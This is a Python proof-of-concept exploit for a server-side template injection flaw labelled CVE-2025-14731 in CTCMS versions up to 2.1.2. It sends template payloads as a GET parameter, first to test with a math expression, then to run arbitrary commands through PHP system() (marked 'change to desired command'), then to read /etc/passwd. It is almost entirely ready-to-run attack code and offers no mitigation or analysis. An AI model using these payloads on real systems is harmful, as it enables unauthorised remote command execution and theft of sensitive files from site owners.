CVE-2025-14731 CTCMS模板引擎注入漏洞

'''CVE-2025-14731 SSTI PoC for CTCMS Tested on CTCMS <= 2.1.2 Target: /ctcms/apps/libraries/CT_Parser.php ''' import requests import sys TARGET_URL = "http://target-site.com/ctcms/" def test_ssti_basic(): """Test basic SSTI detection with math expression""" payload = "{{7*7}}" params = { "template": payload, "module": "frontend" } try: response = requests.get(TARGET_URL, params=params, timeout=10) if "49" in response.text: print("[+] Vulnerable to SSTI! Math expression evaluated.") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False def exploit_rce(): """Execute arbitrary command via SSTI""" # PHP system() function via template injection cmd = "whoami" # Change to desired command payload = f"{{{{system('{cmd}')}}}}" params = { "template": payload, "module": "frontend" } try: response = requests.get(TARGET_URL, params=params, timeout=10) print(f"[+] Command output: {response.text[:500]}") except requests.RequestException as e: print(f"[-] Exploit failed: {e}") def exploit_file_read(): """Read sensitive files via SSTI""" file_path = "/etc/passwd" payload = f"{{{{file_get_contents('{file_path}')}}}}" params = { "template": payload, "module": "frontend" } try: response = requests.get(TARGET_URL, params=params, timeout=10) print(f"[+] File content:\n{response.text[:500]}") except requests.RequestException as e: print(f"[-] File read failed: {e}") if __name__ == "__main__": print("[*] CVE-2025-14731 SSTI Scanner") print("[*] Target:", TARGET_URL) if test_ssti_basic(): print("[+] Target is vulnerable, attempting RCE...") exploit_rce() exploit_file_read() else: print("[-] Target may not be vulnerable or is not CTCMS")